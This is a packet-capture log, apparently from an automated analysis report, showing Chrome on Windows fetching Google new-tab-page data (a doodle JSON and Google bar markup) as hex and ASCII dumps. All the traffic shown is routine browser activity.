2024-11-15 15:16:12 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 15:16:12 UTC	1119	IN	HTTP/1.1 200 OK Version: 695623535 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 15 Nov 2024 15:16:12 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-15 15:16:12 UTC	259	IN	Data Raw: 31 36 61 62 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 22 61 63 63 65 73 73 69 62 69 6c 69 74 79 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 22 2c 22 61 6c 74 5f 74 65 78 74 22 3a 22 43 65 6c 65 62 72 61 74 69 6e 67 20 74 68 65 20 4b 61 79 61 6b 22 2c 22 64 61 72 6b 5f 64 61 74 61 5f 75 72 69 22 3a 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 44 49 43 41 4d 41 41 41 41 70 78 2b 50 61 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 41 77 42 51 54 46 52 46 52 33 42 4d 2f 2f 2f 2f 2f 33 39 2f 77 71 79 62 77 71 32 64 78 71 36 63 78 36 79 63 78 71 32 63 78 71 32 63 78 71 32 63 78 71 32 63 78 71 32 63 78 71 32 63 78 71 79 Data Ascii: 16ab)]}'{"ddljson":{"accessibility_description":"","alt_text":"Celebrating the Kayak","dark_data_uri":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAfQAAADICAMAAAApx+PaAAAAAXNSR0IArs4c6QAAAwBQTFRFR3BM/////39/wqybwq2dxq6cx6ycxq2cxq2cxq2cxq2cxq2cxq2cxqy
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 63 78 71 32 63 78 71 32 63 78 71 79 63 78 71 32 63 78 71 79 63 78 71 32 63 78 71 32 63 78 71 79 63 78 71 36 63 78 71 32 63 78 71 36 64 78 71 71 62 78 71 36 64 78 61 36 64 78 71 71 62 78 71 2b 64 78 71 75 62 78 71 36 63 2f 2b 7a 57 2f 2b 4c 4e 2f 4e 72 47 39 4e 58 41 37 74 47 38 38 4d 36 38 36 73 36 35 37 4d 75 35 36 4d 79 33 35 73 71 32 36 4d 65 32 35 4d 6d 30 34 63 65 7a 35 63 53 7a 7a 63 36 36 33 38 53 78 31 63 65 32 34 63 47 77 33 63 4b 76 7a 63 69 31 33 72 36 75 32 63 43 73 32 62 32 72 7a 4d 4b 77 31 62 79 70 32 4c 71 71 30 72 71 6e 31 62 65 6e 7a 37 65 6c 30 72 53 6b 7a 62 57 6a 7a 37 4b 69 79 37 4f 68 79 62 4b 65 7a 4c 43 67 79 4c 47 66 79 4c 47 65 79 4c 47 64 78 37 47 64 78 37 43 65 78 37 43 64 79 71 36 65 79 4b 2b 64 78 72 43 64 79 36 32 65 79 61 Data Ascii: cxq2cxq2cxqycxq2cxqycxq2cxq2cxqycxq6cxq2cxq6dxqqbxq6dxa6dxqqbxq+dxqubxq6c/+zW/+LN/NrG9NXA7tG88M686s657Mu56My35sq26Me25Mm04cez5cSzzc6638Sx1ce24cGw3cKvzci13r6u2cCs2b2rzMKw1byp2Lqq0rqn1benz7el0rSkzbWjz7Kiy7OhybKezLCgyLGfyLGeyLGdx7Gdx7Cex7Cdyq6eyK+dxrCdy62eya
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 67 6a 2b 58 77 7a 39 58 77 6a 37 50 2f 6c 35 4f 65 41 78 6a 6e 74 68 2f 7a 65 46 4d 2f 61 66 70 51 4f 41 38 4c 31 41 66 6e 66 74 43 79 59 45 37 6b 57 65 4c 56 45 49 51 59 48 2f 53 34 31 59 43 73 42 76 68 6b 45 7a 44 4b 4e 41 65 73 4c 7a 75 50 41 49 2f 6a 4f 4d 41 59 4c 69 4c 4f 65 54 48 74 38 56 68 49 55 51 6a 44 4e 4f 42 4b 4f 63 47 35 7a 46 4d 51 63 4b 36 67 42 43 48 51 45 49 7a 6b 47 59 77 31 6e 4f 2f 52 76 41 6d 57 4f 65 6c 45 4a 36 67 67 64 52 45 44 5a 43 34 59 52 67 30 68 65 55 4d 6b 45 4d 47 4b 63 57 41 4b 50 55 41 63 78 42 45 4d 2f 67 66 77 33 71 38 4f 38 34 39 35 39 65 63 2f 43 44 71 42 6e 4c 5a 69 7a 38 79 41 73 39 33 32 64 4d 2b 44 49 49 66 65 48 35 51 67 72 42 47 48 4f 4d 4d 2b 71 34 68 62 44 33 43 4c 57 4d 4f 50 77 37 33 50 37 50 57 35 44 77 Data Ascii: gj+Xwz9Xwj7P/l5OeAxjnth/zeFM/afpQOA8L1AfnftCyYE7kWeLVEIQYH/S41YCsBvhkEzDKNAesLzuPAI/jOMAYLiLOeTHt8VhIUQjDNOBKOcG5zFMQcK6gBCHQEIzkGYw1nO/RvAmWOelEJ6ggdREDZC4YRg0heUMkEMGKcWAKPUAcxBEM/gfw3q8O84959ec/CDqBnLZiz8yAs932dM+DIIfeH5QgrBGHOMM+q4hbD3CLWMOPw73P7PW5Dw
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 30 4e 2f 43 48 43 51 38 42 53 45 44 4a 7a 2b 56 5a 52 5a 67 7a 33 7a 33 70 31 4b 49 70 47 4b 45 67 6f 6d 4c 33 34 54 41 36 37 69 64 7a 48 31 4b 56 4f 4e 65 59 41 4b 43 45 44 30 69 56 67 78 33 41 56 41 47 51 43 6c 4c 68 57 38 72 42 55 57 67 48 43 30 6f 4a 34 66 53 69 68 6c 51 34 67 77 53 67 55 74 35 32 53 47 41 41 64 44 43 33 44 48 49 77 56 61 79 4a 30 67 46 41 70 2b 79 4b 6f 6c 55 64 69 36 72 2b 4c 75 67 59 30 6c 75 4f 4e 6e 64 59 77 44 68 49 4c 4f 71 4a 62 76 73 7a 75 4c 50 71 67 45 62 6d 34 68 72 34 79 41 39 38 34 48 36 4d 49 7a 43 6f 7a 68 67 31 51 56 41 37 6c 78 56 77 67 30 5a 52 52 31 6b 65 43 6c 38 44 56 4a 31 65 4a 75 65 6b 49 38 43 43 48 5a 42 45 7a 36 61 61 2b 37 6d 4c 67 52 6e 6e 64 54 4f 61 31 43 34 72 49 4d 37 6c 6b 34 67 61 70 77 32 54 53 68 Data Ascii: 0N/CHCQ8BSEDJz+VZRZgz3z3p1KIpGKEgomL34TA67idzH1KVONeYAKCED0iVgx3AVAGQClLhW8rBUWgHC0oJ4fSihlQ4gwSgUt52SGAAdDC3DHIwVayJ0gFAp+yKolUdi6r+LugY0luONndYwDhILOqJbvszuLPqgEbm4hr4yA984H6MIzCozhg1QVA7lxVwg0ZRR1keCl8DVJ1eJuekI8CCHZBEz6aa+7mLgRnndTOa1C4rIM7lk4gapw2TSh
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 30 51 43 63 67 35 6a 37 6d 6e 58 4b 44 55 4e 37 34 33 43 49 66 34 74 43 69 55 51 4a 34 6b 42 6d 41 53 6b 55 73 35 50 37 34 31 43 53 45 42 6c 72 41 55 6f 5a 51 41 6d 70 63 72 50 52 61 48 76 41 77 57 41 4c 38 38 79 2b 31 32 54 6a 75 61 6a 4a 49 42 45 47 30 68 49 46 46 51 7a 51 7a 52 33 7a 48 41 59 33 50 73 42 6f 51 41 70 35 31 58 63 42 30 59 4b 55 6d 6b 47 45 38 6b 45 53 31 58 64 39 42 4b 6c 58 45 76 6c 6c 70 42 51 49 6f 6b 54 31 65 38 4d 35 5a 54 46 36 4a 67 45 2b 4c 65 45 54 78 43 54 73 74 65 61 70 77 32 58 74 41 6a 4c 4b 6b 4c 38 4a 76 4d 71 6b 2f 41 77 79 6e 4f 58 2b 51 55 36 6d 4a 55 59 69 43 71 72 6d 68 36 6b 6c 30 38 37 31 43 75 7a 71 68 36 45 46 64 74 63 63 4c 6d 50 38 75 49 59 2f 48 43 46 36 64 45 4a 59 79 30 50 2f 50 79 79 2b 6d 67 68 32 72 77 6e Data Ascii: 0QCcg5j7mnXKDUN743CIf4tCiUQJ4kBmASkUs5P741CSEBlrAUoZQAmpcrPRaHvAwWAL88y+12TjuajJIBEG0hIFFQzQzR3zHAY3PsBoQAp51XcB0YKUmkGE8kES1Xd9BKlXEvllpBQIokT1e8M5ZTF6JgE+LeETxCTsteapw2XtAjLKkL8JvMqk/AwynOX+QU6mJUYiCqrmh6kl0871Cuzqh6EFdtccLmP8uIY/HCF6dEJYy0P/Pyy+mgh2rwn
2024-11-15 15:16:12 UTC	40	IN	Data Raw: 44 4e 58 7a 46 4b 4b 78 42 6c 6e 53 4d 79 30 69 73 41 57 6c 6c 75 67 43 42 6f 43 6d 30 79 57 48 42 6e 49 61 6d 6e 0d 0a Data Ascii: DNXzFKKxBlnSMy0isAWllugCBoCm0yWHBnIamn
2024-11-15 15:16:12 UTC	168	IN	Data Raw: 61 32 0d 0a 71 30 4d 51 47 68 6c 59 42 78 68 72 48 4c 67 72 48 44 63 4d 78 70 68 5a 54 78 4f 71 61 57 77 76 41 45 4a 42 54 68 69 4e 4e 63 4d 48 4d 61 62 71 38 4a 30 48 6c 4e 2f 6f 6c 57 4d 79 66 72 46 64 35 78 4a 65 79 67 46 69 5a 4c 49 4c 4a 49 4a 59 74 53 38 69 62 46 79 72 63 46 33 39 69 70 51 52 75 41 78 43 46 68 71 44 62 4f 4f 61 49 62 4b 4d 47 4d 59 4d 77 79 4b 68 59 33 72 6b 4f 77 32 65 42 4b 47 6d 46 61 45 66 47 6b 32 2b 2b 35 49 46 37 4c 35 6f 4e 4b 43 78 55 6e 64 67 4e 49 52 6f 47 52 0d 0a Data Ascii: a2q0MQGhlYBxhrHLgrHDcMxphZTxOqaWwvAEJBThiNNcMHMabq8J0HlN/olWMyfrFd5xJeygFiZLILJIJYtS8ibFyrcF39ipQRuAxCFhqDbOOaIbKMGMYMwyKhY3rkOw2eBKGmFaEfGk2++5IF7L5oNKCxUndgNIRoGR
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 35 34 39 30 0d 0a 2f 2b 51 73 37 72 4d 30 66 52 55 56 66 2b 6b 48 5a 57 32 5a 73 58 6a 74 64 4c 44 51 78 31 6f 44 56 68 6b 4b 4a 65 62 62 42 72 45 78 56 47 4b 5a 77 54 57 33 72 69 67 62 5a 37 6a 76 5a 2f 62 63 6c 6c 41 53 41 52 45 72 63 43 35 6c 6c 69 34 72 46 31 36 77 47 30 74 2f 38 36 42 56 66 30 55 61 44 74 47 4f 73 57 74 56 4c 46 38 31 4f 4d 42 71 46 4b 51 5a 6c 6f 55 71 44 5a 6c 67 33 41 4b 57 38 7a 71 35 57 59 6f 44 61 59 64 45 30 79 72 6c 4b 52 6d 46 7a 35 7a 75 50 75 2b 43 42 54 65 53 31 35 6f 59 5a 70 73 47 42 42 76 4a 62 6a 72 38 54 6a 36 5a 33 65 32 6b 6d 61 4a 69 33 4d 37 4c 50 54 30 65 30 58 4b 64 51 65 59 2f 6f 4c 55 66 37 73 79 36 51 30 70 44 6c 73 68 37 72 74 68 79 6a 43 76 31 77 75 4a 30 71 48 6c 4a 4f 55 2f 35 6f 61 65 6d 6e 76 49 64 53 Data Ascii: 5490/+Qs7rM0fRUVf+kHZW2ZsXjtdLDQx1oDVhkKJebbBrExVGKZwTW3rigbZ7jvZ/bcllASARErcC5lli4rF16wG0t/86BVf0UaDtGOsWtVLF81OMBqFKQZloUqDZlg3AKW8zq5WYoDaYdE0yrlKRmFz5zuPu+CBTeS15oYZpsGBBvJbjr8Tj6Z3e2kmaJi3M7LPT0e0XKdQeY/oLUf7sy6Q0pDlsh7rthyjCv1wuJ0qHlJOU/5oaemnvIdS
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 4f 41 68 6f 58 68 48 59 6d 53 2b 45 5a 48 33 57 56 56 41 78 42 58 6e 6d 56 41 77 47 67 4f 43 72 2f 34 45 63 50 2f 76 42 56 68 7a 47 66 4c 48 46 6d 76 44 54 69 4b 48 5a 77 39 77 31 30 2b 77 35 78 59 5a 65 57 6c 56 6d 47 70 54 68 72 2b 65 62 2b 4d 73 35 52 69 37 4f 50 45 48 6a 58 66 31 73 53 73 70 2b 51 35 71 4b 38 34 37 6b 76 61 71 42 57 68 56 36 32 47 4c 57 6c 38 54 37 36 32 38 31 47 77 70 68 6c 4d 52 52 51 6b 68 68 4b 39 67 50 51 30 75 61 70 46 69 57 4f 2f 2b 4a 6a 47 79 77 30 56 75 41 73 56 6e 74 70 5a 53 75 69 52 6d 35 44 4d 45 38 4b 6e 4d 48 65 2f 61 2f 76 76 6d 67 50 55 67 55 73 51 4c 6c 41 35 37 50 62 31 58 64 46 4f 70 66 4e 4a 79 51 4b 79 67 41 4d 4d 4f 47 42 54 33 6a 2f 38 49 42 7a 72 6e 66 33 43 71 4c 37 48 5a 66 30 5a 43 42 6f 65 4f 38 69 6c 37 Data Ascii: OAhoXhHYmS+EZH3WVVAxBXnmVAwGgOCr/4EcP/vBVhzGfLHFmvDTiKHZw9w10+w5xYZeWlVmGpThr+eb+Ms5Ri7OPEHjXf1sSsp+Q5qK847kvaqBWhV62GLWl8T76281GwphlMRRQkhhK9gPQ0uapFiWO/+JjGyw0VuAsVntpZSuiRm5DME8KnMHe/a/vvmgPUgUsQLlA57Pb1XdFOpfNJyQKygAMMOGBT3j/8IBzrnf3CqL7HZf0ZCBoeO8il7
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 53 41 76 79 73 64 6e 58 6b 64 5a 6d 42 38 56 75 78 66 68 50 58 39 39 65 71 30 46 4f 55 48 55 58 43 6a 4e 44 6b 38 54 47 35 61 77 44 73 79 66 55 41 6c 67 50 67 64 77 72 74 2b 6a 32 47 68 6b 6d 43 54 74 68 33 33 35 46 61 2f 65 64 38 58 77 33 37 4e 51 43 55 69 4a 54 4d 6e 56 52 4e 46 69 43 31 59 67 45 64 71 4c 69 44 4e 62 62 5a 2f 72 37 30 61 6c 51 77 54 68 51 77 45 67 54 6c 53 70 47 36 66 78 6a 6e 55 41 78 56 2b 39 5a 75 4f 71 49 56 54 57 63 77 71 6c 44 65 58 63 52 43 55 41 58 33 61 4b 51 6f 65 31 6b 73 4a 30 64 32 78 55 4b 53 58 7a 73 33 50 49 43 73 35 45 70 58 47 57 48 6b 43 4b 4f 56 6f 78 47 32 5a 67 5a 76 32 4c 53 32 2f 65 6c 7a 4e 42 46 33 2f 31 68 6f 76 6a 7a 4a 4d 53 71 75 72 47 70 74 6a 6c 71 2b 48 6e 39 69 37 35 68 59 66 69 46 46 74 44 39 75 63 66 Data Ascii: SAvysdnXkdZmB8VuxfhPX99eq0FOUHUXCjNDk8TG5awDsyfUAlgPgdwrt+j2GhkmCTth335Fa/ed8Xw37NQCUiJTMnVRNFiC1YgEdqLiDNbbZ/r70alQwThQwEgTlSpG6fxjnUAxV+9ZuOqIVTWcwqlDeXcRCUAX3aKQoe1ksJ0d2xUKSXzs3PICs5EpXGWHkCKOVoxG2ZgZv2LS2/elzNBF3/1hovjzJMSqurGptjlq+Hn9i75hYfiFFtD9ucf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	142.250.186.164	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 15:16:12 UTC	526	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-15 15:16:12 UTC	1119	IN	HTTP/1.1 200 OK Version: 695623535 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 15 Nov 2024 15:16:12 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-15 15:16:12 UTC	259	IN	Data Raw: 31 63 36 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1c6a)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 50 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 6b 64 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 Data Ascii: 3cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"but
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 69 61 2d 68 69 64 64 65 6e 5c 75 30 30 33 64 5c 22 74 72 75 65 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 Data Ascii: ia-hidden\u003d\"true\" role\u003d\"presentation\"\u003e\u003c\/span\u003e\u003c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 75 30 30 33 64 5c 22 68 74 74 70 73 3a 2f 2f 6c 61 62 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 73 6f 75 72 63 65 5c 75 30 30 33 64 6e 74 70 5c 22 20 74 61 72 67 65 74 5c 75 30 30 33 64 5c 22 5f 74 6f 70 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 Data Ascii: u003d\"https://labs.google.com/search?source\u003dntp\" target\u003d\"_top\" role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u00
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e Data Ascii: 2,0.9 -2,2 0.9,2 2,2zM6,20c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.
2024-11-15 15:16:12 UTC	1378	IN	Data Raw: 7d 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 5b 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 30 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 34 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 Data Ascii: },"left_product_control_placeholder_label":["left_product_control-label0","left_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700274,3700949,3701384],"is_backup
2024-11-15 15:16:12 UTC	133	IN	Data Raw: 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 2f 2a 5c 6e 5c 6e 20 43 6f 70 79 72 69 67 68 74 20 47 6f 6f 67 6c 65 20 4c 4c 43 5c 6e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 4c 64 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 0d 0a Data Ascii: umpException(e)}\ntry{\n/\n\n Copyright Google LLC\n SPDX-License-Identifier: Apache-2.0\n/\nvar Ld;_.Jd\u003dfunction(a){const b
